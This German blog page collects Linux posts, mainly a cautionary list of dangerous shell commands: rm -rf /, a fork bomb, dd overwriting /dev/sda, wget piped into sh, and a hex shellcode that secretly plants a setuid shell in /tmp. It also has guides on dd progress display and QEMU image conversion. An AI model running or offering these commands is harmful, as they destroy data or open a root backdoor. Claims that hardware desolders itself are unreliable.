Aktualisierung, Reparatur und Bereinigung von Debian, Ubuntu und Mint

Da ich gern mein Debian basieren¬≠des Sys¬≠tem selb¬≠st aktu¬≠al¬≠isieren wollte, hat¬≠te ich mir dieses Bash-Script geschrieben. Zudem l√∂sche ich damit alte Ker¬≠nel die ich nicht mehr nutze und repariere miss¬≠gl√ľck¬≠te Aktu¬≠al¬≠isierun¬≠gen. Also hier mein zweites Script.

Inhaltsverzeichnis

Aktu­al­isierung, Reparatur und Bere­ini­gung von Debian, Ubun­tu und Mint weit­er­lesen

Installierte Programme als Liste

Um eine Über­sicht mein­er instal­lierten Pro­gramme zu erhal­ten, habe ich mir diese Script geschrieben. Dieses Bash-Script ist das erste, das ich veröf­fentliche.

Inhaltsverzeichnis

Instal­lierte Pro­gramme als Liste weit­er­lesen

Gefährliche Befehle, Linux-Bom­ben


Inhaltsverzeichnis

Vor­wort
1. rm
2. rm -rf in hexa­dez­i­mal
3. Fork­bomb
4. Copy und Paste
5. Device Null
6. Oper­a­toren
7. WGET
8. dd
9. Weit­ere Befehle
Faz­it
Quellen


Vorwort

Vor­sicht, nur in virtuellen Maschi­nen testen! Als Test­sys­tem hat­te ich ein Ubun­tu 16.04 in eine virtuelle Mas­chine instal­liert und mehrfach kopiert.


1. rm

Die bekan¬≠nteste Lin¬≠ux-Bombe ist wohl ‚Äúrm‚ÄĚ, denn es wird oft vergessen den kom¬≠plet¬≠ten Pfad anzugeben, auch wenn man in einem Unter¬≠verze¬≠ich¬≠nis ist, denn dieser Befehl geht √ľber die Wurzel. Und es ist auch hoch bezahlten Admins schon passiert.

sudo rm -rf /

Dieser Befehl löscht ohne Nach­frage rekur­siv alles ab Wurzelverze­ich­nis. Alles heißt, alle einge­hängte Laufw­erke und auch alle Net­zlaufw­erke.
Funk­tion­iert tod­sich­er! Aber nicht unter dem Ubun­tu, dort wird eine War­nung aus­gegeben.
Gegen­maß­nahme
Ein Fall¬≠strick kann ‚Äúsafe-rm‚ÄĚ sein. Es soll vor unbe¬≠ab¬≠sichtigten l√∂schen helfen. Wer sich aber daran gew√∂h¬≠nt und auf einen anderen/neuen Rech¬≠n¬≠er kein ‚Äúsafe-rm‚ÄĚ instal¬≠liert hat, dann ist ‚Äúrm‚ÄĚ ist sein¬≠er Gewalt nicht zu brem¬≠sen.
Anson­sten hil­ft auch kein beten.
Quelle
Weit­eres in jedem Lin­ux-Hand­buch und jed­er Unix-Befehlsref­erenz.


2. rm -rf in hexadezimal

Ist genau­so schädlich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubun¬≠tu m√ľssten dazu die Pakete release und bikeshed instal¬≠liert sein. Hat bei mir unter Ubun¬≠tu nicht funk¬≠tion¬≠iert.


3. Forkbomb

Rech­n­er aus­las­ten mit Hin­ter­grun­dak­tiv­ität und damit die CPU mal richtig heiß wird und sich selb­st aus­lötet.

:(){ :|:& };:

Funk¬≠tion die definiert wird, hier ‚Äú:()‚ÄĚ, ruft sich selb¬≠st als Hin¬≠ter¬≠grun¬≠dak¬≠tiv¬≠it√§t auf und √ľbergibt sich wieder neu und so weit¬≠er, also eine typ¬≠is¬≠che Fork¬≠bomb. Funk¬≠tion¬≠iert unter Ubun¬≠tu. B√∂sar¬≠tig, es wird am Anfang nicht gle¬≠ich wahrgenom¬≠men und Sys¬≠tem¬≠mon¬≠i¬≠tore, wie ‚ÄúConky‚ÄĚ, zeigen durch die 100% aus¬≠ge¬≠lastete CPU keine Ver√§n¬≠derun¬≠gen an.
Gegen­maß­nahme
Schutz gibt es, wenn die Datei ‚Äú/etc/security/limits.conf‚ÄĚ dem entsprechend edi¬≠tiert wird.


4. Copy und Paste

Das Inter¬≠net hil¬≠ft bei vie¬≠len Gele¬≠gen¬≠heit¬≠en, aber erset¬≠zt nicht das eigene Denken. Kopieren und Ein¬≠f√ľ¬≠gen kann gef√§hrlich sein. Hin¬≠ter ein¬≠er harm¬≠losen Eingabe wie

echo "Hallo Welt!"

kann man auch

rm -rf /

ver­steck­en.
Gegen­maß­nahme
Vor¬≠sicht¬≠shal¬≠ber in ein Edi¬≠tor ein¬≠f√ľ¬≠gen, hil¬≠ft aber auch nicht immer :-)


5. Device Null

Das Gerät Null ist tat­säch­lich ent­standen um Dat­en, die als unwichtig gel­ten, in das Nichts zu senden.
Doch fol­gende Befehlszeile löscht das gesamte /home-Verze­ich­nis des angemelde­tem Benutzers.

mv ~ /dev/null

In Ubun¬≠tu ist daf√ľr keine Berech¬≠ti¬≠gung vorhan¬≠den.
Gegen­maß­nahme
Nach­denken, was soll eine Tilde, also das /home-Verze­ich­nis, mit Null zu tun haben!


6. Operatoren

Gerne nutze ich das Kom¬≠man¬≠do ‚Äúls > Verzeichnis.txt‚ÄĚ um mir den Inhalt eines Verze¬≠ich¬≠nis als Text¬≠datei abzule¬≠gen. Und bei √Ąnderun¬≠gen lege ich mit dem dop¬≠pel¬≠ten Operan¬≠den ‚Äúls ¬Ľ Verzeichnis.txt‚ÄĚ in der sel¬≠ben Datei am Ende nach.

ls > /dev/sda

Wird aber dieser Befehl aus¬≠ge¬≠f√ľhrt √ľber¬≠schreibt er die genan¬≠nte Fest¬≠plat¬≠te mit sich selb¬≠st. Statt ‚Äúls‚ÄĚ k√∂n¬≠nte auch ein ander¬≠er Befehl genom¬≠men wer¬≠den, die Auswirkung ist gle¬≠ich, da hier der Operand den Fehler aus√ľbt. In Ubun¬≠tu ist daf√ľr keine Berech¬≠ti¬≠gung vorhan¬≠den.
Gegen­maß­nahme
Immer erst in ein¬≠er virtuellen Mas¬≠chine solche Kom¬≠man¬≠dos pr√ľfen.


7. WGET

Ist dieselbe Bequem¬≠lichkeit wie kopieren und ein¬≠f√ľ¬≠gen. Ein Script wird im Netz zur Ver¬≠f√ľ¬≠gung gestellt und nun kann man es ein¬≠fach durch die Shell aus¬≠f√ľhren, mit Ver¬≠hin¬≠derung von wichti¬≠gen Infor¬≠ma¬≠tio¬≠nen.

wget http://webseite.com -q | sh

Nur, ob die Beschrei¬≠bung des Skriptes mit dem tat¬≠s√§ch¬≠lichem Inhalt √ľbere¬≠in¬≠stimmt, ist hier nicht plau¬≠si¬≠bel erwiesen.
Hat in mein­er Ubun­tu-Instal­la­tion nicht funk­tion­iert.
Gegen­maß­nahme
Durch ‚Äúqui¬≠et‚ÄĚ ist es noch nicht mal m√∂glich die Gefahr zu ban¬≠nen, zum Beispiel mit ‚ÄúStrg+c‚ÄĚ.


8. dd

Dieses Kom¬≠man¬≠do ist zum Kopieren gedacht. Hier ist Miss¬≠brauch m√∂glich, um Daten¬≠tr√§ger zu √ľber¬≠schreiben.

dd if=/dev/urandom of=/dev/sda

An diesem Beispiel wer­den Zufall­szahlen auf die gesamte Fest­plat­te geschrieben und somit der vorhan­dene Inhalt gelöscht.
Gegen­maß­nahme
Da hab ich es mit Nel¬≠son -> ‚ÄúHaha‚ÄĚ.


9. Weitere Befehle die vorsichtig angewendet werden sollten.

Die nach­fol­gen­den Kom­man­dos habe ich nicht getestet, erscheinen aber logisch.

sudo chmod 000 -R /

Rechte wer¬≠den rekur¬≠siv ent¬≠zo¬≠gen oder keine erteilt wie man¬īs sieht. Dat¬≠en bleiben aber erhal¬≠ten.
Mit umask wären sicher­lich auch solche Spielchen möglich.

touch root
sudo chattr +i root

Datei mit +i unverän­der­lich set­zen

sudo chattr -i root

Attrib­ut wieder ent­fer­nen


10. Fazit

Das sind wohl einige der bekan¬≠ntesten Fall¬≠gruben. Trotz¬≠dem sollte bei ange¬≠boten¬≠er Hil¬≠fe das eigene Denken die erste H√ľrde sein und ein gesun¬≠des Ma√ü an Mis¬≠strauen, ob andere nicht auch Fl√ľchtigkeits¬≠fehler machen, w√§re ange¬≠bracht.


Quellen

Lin­ux-Hand­buch von Kofler, Gallileo-Ver­lag
Unix-Befehlsref­eren­zen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Fortschrittsanzeige bei Festplatte löschen oder kopieren oder beschreiben durch dd oder dcfldd oder pv


Inhaltsverzeichnis

1. √úberblick
2. Laufw¬≠erk¬≠s√ľber¬≠sicht
3. Der Befehl ‚Äúdd‚ÄĚ
4. Erste Alter¬≠na¬≠tive ‚Äúdcfldd‚ÄĚ
5. Zweite Alter¬≠na¬≠tive ‚Äúpv‚ÄĚ
6. All­ge­meine Hin­weise


1. √úberblick

Aus Sicher¬≠heits¬≠gr√ľn¬≠den, erst ein¬≠mal einen √úberblick √ľber den Rech¬≠n¬≠er ver¬≠schaf¬≠fen, k√∂n¬≠nte ja auch eine externe Kon¬≠sole sein oder ein virtuelles Sys¬≠tem.

inxi -F

Jet¬≠zt pr√ľfen ob die angezeigten Laufw¬≠erke auch das zu bear¬≠bei¬≠t¬≠ende enth√§lt, beispiel¬≠sweise:

ID-3: USB /dev/sdc model: myUSB-Stick size: 7.8GB

2. Laufwerks√ľbersicht

Alter¬≠na¬≠tiv kann auch mit nur zwei Zeichen ‚Äúdf‚ÄĚ die Laufw¬≠erk¬≠s√ľber¬≠sicht geholt wer¬≠den.


3. Der Befehl ‚Äúdd‚ÄĚ

dd

ist in den

coreutils

enthal­ten.
Die dd-Pro­gres­sion­sanzeige ist die kom­fort­a­bel­ste mit Anzeige:

  1. der einzel­nen abgear­beit­eten Bytes
  2. der Anzeige in Megabyte und Mebibyte oder GB+GiB oder TB+TiB
  3. den detail­lierten Vor­gang
  4. der Gesamt­laufzeit in Sekun­den
  5. der Arbeits­geschwindigkeit
sudo dd if=/dev/zero of=/dev/sdc status=progress
...
130458112 bytes (130MB, 124 MiB) copied, 28,0005 s, 4,7 MB/s
...
15257601+0 Datensätze ein
15257600+0 Datensätze aus
7811891200 bytes (7,8 GB, 7,3 GiB) copied, 2948,42 s, 2,6 MB/s

4. Erste Alternative ‚Äúdcfldd‚ÄĚ

Dieser Befehl muss unter Ubun­tu 16.04 nachin­stal­liert wer­den. Instal­lierte Größe von 128 kB.

sudo apt install dcfldd

Beispiel

sudo dcfldd if=/dev/zero of=/dev/sdc
...
1536 blocks (48Mb) written
...
238336 blocks (7448Mb) written.
238401+0 records in
238400+0 records out

Achtung, die Anzeige ist zur Zeit auf die Ein­heit von Mb begren­zt, also Gb und Tb wer­den auch in Mb angezeigt.


5. Zweite Alternative ‚Äúpv‚ÄĚ

Dieser Befehl muss unter Ubun­tu 16.04 nachin­stal­liert wer­den. Instal­lierte Größe von 170 kB.
pv, ste¬≠ht f√ľr Pipe View¬≠er, kann von einem anderem aus¬≠ge¬≠f√ľhrtem Befehl den Daten¬≠fluss anzeigen. Also w√§hrend des L√∂schens, Kopierens, beschreiben, ent¬≠pack¬≠en, pack¬≠en und weit¬≠eren Daten¬≠fl√ľssen von Dateien und Daten¬≠tr√§gern.

Beispiel der Schreibgeschwindigkeit des Arbeitsspe­ich­ers

pv /dev/zero > /dev/null
26GiB 0:00:15 [9,03GiB/s] [  < =>    ]

Ergeb­nis ist also ein DDR3-1333-Spe­ich­er im Sin­gle-Chan­nel, so ein­fach.
Achtung, beson¬≠der¬≠er Hin¬≠weis f√ľr dieses Beispiel, bitte been¬≠den Sie den Vor¬≠gang nach weni¬≠gen Minuten mit Strg+C, anson¬≠sten d√ľrften Sie eine neue Haupt¬≠pla¬≠tine und neuen Arbeitsspe¬≠ich¬≠er kaufen, da sich diese nach gewiss¬≠er Zeit durch √ľber¬≠hitzen selb¬≠st aus¬≠l√∂ten.


Allgemeine Hinweise

Je länger die oben genan­nte Befehle arbeit­en oder der Vor­gang dauert, um sehr mehr erhitzt sich das Medi­um und damit sinkt auch die Arbeits­geschwindigkeit.

Beidseitiger Wechsel QEMU und VirtualBox


Inhaltsverzeichnis

Kon­vertierung
Fol­gende For­mate kön­nen kon­vertiert wer­den
Ein typ¬≠is¬≠ches Beispiel f√ľr eine Kon¬≠vertierung
Der Befehl im Einzel­nem
Links


Nun hat­te ich schon qemu vorgestellt. Trotz­dem kann es vorkom­men das man die Vir­tu­al­Box vorzieht.
Um die Fest­plat­ten-Abbilder nicht neu zu erstellen, kann man diese in bei­de Rich­tun­gen kon­vertieren.

Wobei qemu als, mein­er Mei­n­ung nach, das bessere und native Pro­gramm mehr For­mate ver­wal­ten kann, als Vir­tu­al­Box. Denn qemu lädt auch die von der Vir­tu­al­Box erstell­ten Abbilder. Vir­tu­al­Box kann aber die For­mate die ich mit qemu erstellt habe, nicht laden.


Konvertierung

Der Befehl

qemu-img convert [Optionen]

Die Hil­fe zu diesem Befehl.

qemu-img convert -h

Diese Formate können konvertiert werden.

parallels, rbd, raw, quorum, null-aio, null-co, bochs, vhdx, blkverify, file, tftp, ftp, ftps, https, http, dmg, host_cdrom, blkdebug, iscsi, host_device, qcow, sheepdog, vpc, qed, nbd, qcow2, cloop, vdi, vvfat, vmdk

Also es bleiben kaum noch W√ľn¬≠sche offen.


Ein typisches Beispiel f√ľr eine Konvertierung

name@name-pc:~$ qemu-img convert -O vdi ubuntu16-04.raw ubuntu16-04.vdi

Der Befehl im Einzelnem

Kon­vertiere ein Fest­plat­ten­ab­bild

qemu-img convert

Das gro√üe ‚ÄúO‚ÄĚ ste¬≠ht f√ľr ‚Äúout¬≠put for¬≠mat‚ÄĚ, also das zu Zielfor¬≠mat.

-O

Das Zielfor¬≠mat ist ein Vir¬≠tu¬≠al¬≠Box-For¬≠mat und ste¬≠ht ver¬≠mut¬≠lich f√ľr ‚Äúvir¬≠tu¬≠al device image‚ÄĚ.

vdi

Diese Roh­datei ist die Quell­datei der Kon­vertierung.

ubuntu16-04.raw

Nun wird die Ziel­d­atei angegeb­nen. Hier im sel­bi­gen Verze­ich­nis.

ubuntu16-04.vdi

Angenehmer Neben­ef­fekt, die Ziel­d­atei schrumpft auf ihre wirk­lich benutzte Größe.
Die Xubuntu16-04.raw schrumpfte von 8GB auf die Xubunbtu16-04.vdi mit 4,4GB. Die Schrump­fung wurde jedes mal erzeugt.


Links

https://www.dinotools.de/2011/07/26/qemu-vhd-dateien-in-ein-anderes-format-konvertieren/
https://duckduckgo.com/?q=qemu-img+convert&t=canonical&ia=images

Nicht ver¬≠f√ľg¬≠bare Adresse
Die Adresse http://qemu-buch.de/ war beim erstellen diese Beitrages lei­der nicht erre­ich­bar.
Eben­falls gibt es unter https://de.wikibooks.org/wiki/ noch immer kein qemu-Buch, als wer sich verewigen möchte, hat hier noch eine Möglichkeit.